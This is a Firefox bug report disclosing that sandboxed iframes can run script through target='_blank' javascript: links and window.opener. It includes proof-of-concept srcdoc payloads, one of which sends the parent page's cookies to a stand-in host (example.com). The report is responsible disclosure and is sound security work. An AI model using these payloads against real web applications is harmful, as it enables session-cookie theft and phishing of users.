Closed Bug 1589845 Opened 6 years ago Closed 6 years ago

Security: iframe sandbox can be worked around via javascript: links and window.opener

Categories

(Core :: DOM: Security, task)

task
Not set
normal

Tracking

()

RESOLVED DUPLICATE of bug 1559128

People

(Reporter: phil, Unassigned)

References

Details

(Keywords: reporter-external, Whiteboard: [reporter-external] [client-bounty-form] [verif?])

Attachments

(1 file)

Security: iframe sandbox can be worked around via javascript: links and window.opener

Firefox 69.0.3 (64-bit) on macOS 10.15

VULNERABILITY DETAILS
My understanding is that a web application should be able to use an iframe with the "sandbox" attribute to display untrusted content without fear of JavaScript running, hijacking the parent page or the user's cookies. In simple scenarios this works properly, however there are some exceptions (reproducible in code below) using target="_blank" links with "javascript:" href values, and window.opener that allow JavaScript from untrusted content to be run.

Please note that NONE of my examples use "allow-scripts" in the sandbox attribute - because my goal is that JavaScript does not run at all in the iframe.

If we display untrusted content like this, then there are some specific values of UNTRUSTED_CONTENT that effectively break JS out of the sandbox when doing: <iframe sandbox="allow-popups allow-popups-to-escape-sandbox" srcdoc="UNTRUSTED_CONTENT"></iframe>

Attaching a .html file that you can run (from an http webserver on a hostname) with the examples below.


CASE 1: Run JavaScript in sandboxed iframe context without "allow-scripts"

<iframe sandbox="allow-modals allow-popups allow-popups-to-escape-sandbox" srcdoc="<a target="_blank" href="javascript:window.opener.eval('alert(location.href)')">click me</a>"></iframe>

Result: Clicking the link inside the iframe results in an alert popping up on the original page with a message "about:srcdoc", showing that JS is actually executed inside the iframe rather than just in the blank popup.


Case 2: Run JavaScript in parent page context without "allow-scripts", even accessing parent's cookies

The problem described in Case 1 actually gets MUCH worse if you have allow-same-origin in the sandbox attribute:

<iframe sandbox="allow-same-origin allow-modals allow-popups allow-popups-to-escape-sandbox" srcdoc="<a target="_blank" href="javascript:window.opener.parent.eval('alert(location.href+'; '+document.cookie);')">click me</a>"></iframe>

Result: Clicking the link in the iframe results in JavaScript access to the cookies of the parent page.

All indication of the "sandbox" attribute is that it should prevent JavaScript from running within the context of our page, since we didn't have "allow-scripts".

(Note a use case for having "allow-same-origin" here is wanting the parent page to be able to access the iframe's document and its offsetHeight to be able to resize the height of the iframe to match the iframe's contents. This allows a more seamless experience of embedding untrusted content into a web app without introducing another vertical scroll bar.)


Case 3: Bypassing both "allow-top-navigation" and "allow-scripts" in sandboxed iframe

Building on this, here's an example of how a link in a sandboxed iframe can actually escape and change the parent/top-level page's navigation and even pass the user's cookies onto an attacker's website, despite neither "allow-top-navigation" nor "allow-scripts" being in the sandbox whitelist of values.

<iframe sandbox="allow-same-origin allow-popups allow-popups-to-escape-sandbox" srcdoc="
Rendering untrusted HTML here...<br>

<a target="_blank" href="https://www.whatismybrowser.com/detect/is-javascript-enabled&quot;>load external site in popup, with javascript (desired)</a><br>
<a target="_blank" href="javascript:window.opener.parent.eval('window.location%3D%22https%3A//example.com/%3Fc%3D%22+encodeURIComponent%28document.cookie%29')">hacker site can steal iframe's parent's cookies</a>
"></iframe>

Run this from a hostname that has cookies set. After clicking the second link, come back and notice how this parent page has redirected to steal cookies.

And a similar example could also be used in a phishing attempt even on a logged-out page where the user's cookies didn't matter. It's just like any other tab-nabbing attack when "noopener" is missing, except this time the target=_blank link is part of what is already expected to be untrusted content, and "sandbox" isn't doing its job.


OTHER BROWSERS
Safari does not have any of the problems described here. Safari properly blocks all cases with a console message "Blocked script execution in 'about:srcdoc' because the document's frame is sandboxed and the 'allow-scripts' permission is not set." which is exactly how I'd expect it to work.

Chromium currently has the same issue (bug opened https://bugs.chromium.org/p/chromium/issues/detail?id=1014371 and currently tagged as a P1 Med-dev Security Bug). Chromium, however, supports the "csp" iframe attribute which allows you to do <iframe csp="script-src 'none'" sandbox="..." srcdoc="..."> which is an effective workaround for this bug.

Therefore Firefox is actually more vulnerable to this type of attack than both Safari and Chrome.


Thanks,
Phil Freo

Flags: sec-bounty?

Christoph/Sebastian, can you take a look and/or do you know if we've got something on file for this already? I thought so, but can't quickly find anything. Might need coordinating with Chrome if fixing this requires breaking things that people "expect" from allow-popups/allow-popups-to-escape-sandbox...

Group: firefox-core-security → dom-core-security
Component: Security → DOM: Security
Flags: needinfo?(sstreich)
Flags: needinfo?(ckerschb)
Product: Firefox → Core
Flags: needinfo?(ckerschb) → needinfo?(dveditz)

Dan is looking into it, hence clearing ni? for basti.

Flags: needinfo?(sstreich)
Group: dom-core-security
Status: UNCONFIRMED → RESOLVED
Closed: 6 years ago
Flags: needinfo?(dveditz)
Resolution: --- → DUPLICATE
Flags: sec-bounty? → sec-bounty-
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: